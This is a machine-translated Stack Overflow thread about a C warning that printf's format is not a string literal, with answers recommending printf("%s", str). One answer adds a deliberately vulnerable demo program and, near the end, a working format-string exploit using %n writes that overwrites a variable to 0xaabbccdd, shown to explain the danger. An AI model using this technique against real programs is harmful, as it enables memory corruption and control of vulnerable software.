c数组-警告:格式不是字符串文字

c数组-警告:格式不是字符串文字,c,compiler-warnings,C,Compiler Warnings,我正在尝试学习C语言,但我已经遇到了一个问题。我认为这很琐碎,但我需要知道。我写过: #include <stdio.h> #include <string.h> int main() { char str_a[20]; strcpy(str_a, "Hello, world!\n"); printf(str_a); } 有人能帮忙吗?该警告是由于编译器希望printf的第一个参数是字符串文字引起的。它希望你写下: printf("%s\n

我正在尝试学习C语言,但我已经遇到了一个问题。我认为这很琐碎,但我需要知道。我写过:

#include <stdio.h>
#include <string.h>

int main() 
{
    char str_a[20];

    strcpy(str_a, "Hello, world!\n");
    printf(str_a);
}

有人能帮忙吗?

该警告是由于编译器希望
printf
的第一个参数是字符串文字引起的。它希望你写下:

printf("%s\n", str_a);
这是因为
printf
的第一个参数是格式字符串。然后传递格式参数

注意:事实上,您可以将变量用作格式字符串,但您可能不应该这样做。这就是编译器发出警告而不是错误的原因。

printf()
希望它的格式是字符串文本,而不是动态创建的字符串。要修复此问题,请尝试以下操作:

printf("%s", str_a); // %s denotes a string
或者使用
put

puts(str_a);

使用
printf
时,格式字符串最好是字符串文字而不是变量:

printf("%s", str_a);

请阅读警告“无格式参数”-即字符串中没有%


尝试打印(“%s”,str_a)

为了给其他答案添加一些内容,您最好这样做,因为很久以前人们就这样编写了printf,黑客找到了一种读取和写入堆栈的方法,等等。
例如,像这样的简单程序:

blackbear@blackbear-laptop:~$ cat format_vul.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char text[1024];
    static int test_var = -1;

    if(argc < 2) {
        printf("Use: %s <input>\n", argv[0]);
        exit(-1);
    }

    strcpy(text, argv[1]);

    printf("The correct way:\n");
    printf("%s", text);

    printf("\nThe wrong way:\n");
    printf(text);

    printf("\n[*]: test_var @ %8p = %d ( 0x%x )\n", &test_var, test_var, test_var);
}
blackbear@blackbear-laptop:~$ ./format_vul AAAA
The correct way:
AAAA
The wrong way:
AAAA
[*]: test_var @ 0x804a024 = -1 ( 0xffffffff )

错误来自
printf(str_a)。您的代码应该是
printf(“%s”,str_a)

有关printf的更多信息,请查看以下链接

如果你给它传递一个字符串文本或指针,
printf()
也是一样的:在
printf()
甚至认为它会被调用之前,第一个被转换成指针。另外,
put()
向输出中添加一个
'\n'
,并且原始字符串已经有了一个。@pmg它不一样。使用
printf(“%s”,str)
您的参数可以有格式字符(%c,%i,%f),而不存在使用va_arg的未定义行为的风险。我的意思是,您关于
printf()
需要字符串文字的断言是错误的。另一方面,编译器在使用
printf()
时指出了一个常见的错误,这对编译器很有帮助;这样的警告会让我发疯(如果我的代码需要在没有警告的情况下编译,可能会造成无法维持的情况)。使用变量作为格式字符串有正当理由。更好还是必需?为什么?@CiroSantilli六四事件法轮功包卓轩 - 不需要,因为API本身允许传递变量字符串,但使用字符串文字要好得多,因为使用碰巧有格式说明符的变量字符串会导致错误(主要是内存损坏),从安全角度来看,这是一个明确而简单的漏洞(如果攻击者可以控制输入)@MByD“将导致错误(主要是内存损坏)“我认为有必要指出,这种情况在正常情况下永远不会发生——只有当字符串被攻击者或糟糕的编程操作时才会发生。printf处理文本与
const char*
@BenjaminCrawfordCtrl-Alt-Tut之间没有任何区别——我倾向于将“may”视为“will”,因为我学到了最终会发生的困难。糟糕的编程不是“名义上的情况”,而是这样做。printf()可能不关心字符串来自何处,但它的功能太强大,无法忽略此预防措施。的可能重复
blackbear@blackbear-laptop:~$ cat format_vul.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char text[1024];
    static int test_var = -1;

    if(argc < 2) {
        printf("Use: %s <input>\n", argv[0]);
        exit(-1);
    }

    strcpy(text, argv[1]);

    printf("The correct way:\n");
    printf("%s", text);

    printf("\nThe wrong way:\n");
    printf(text);

    printf("\n[*]: test_var @ %8p = %d ( 0x%x )\n", &test_var, test_var, test_var);
}
blackbear@blackbear-laptop:~$ ./format_vul AAAA
The correct way:
AAAA
The wrong way:
AAAA
[*]: test_var @ 0x804a024 = -1 ( 0xffffffff )
blackbear@blackbear-laptop:~$ ./format_vul $(printf "\x24\xa0\x04\x08JUNK\x2
5\xa0\x04\x08JUNK\x26\xa0\x04\x08JUNK\x27\xa0\x04\x08").%8x.%8x.%8x.%8x.%8x.
%8x.%8x.%8x.%8x.%110x.%n%239x%n%239x%n%239x%n
The correct way:
$�JUNK%�JUNK&�JUNK'�.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%110x.%n%239x%n%239
x%n%239x%n
The wrong way:
$�JUNK%�JUNK&�JUNK'�.bfffefec.  154d7c.  155d7c.  155d7c.      f0.      f0.b
ffff4a4.       4.       4.                                                  
                                                     174.                   


                                                50415243                    


                                               50415243                     


                                              50415243
[*]: test_var @ 0x804a024 = -1430532899 ( 0xaabbccdd )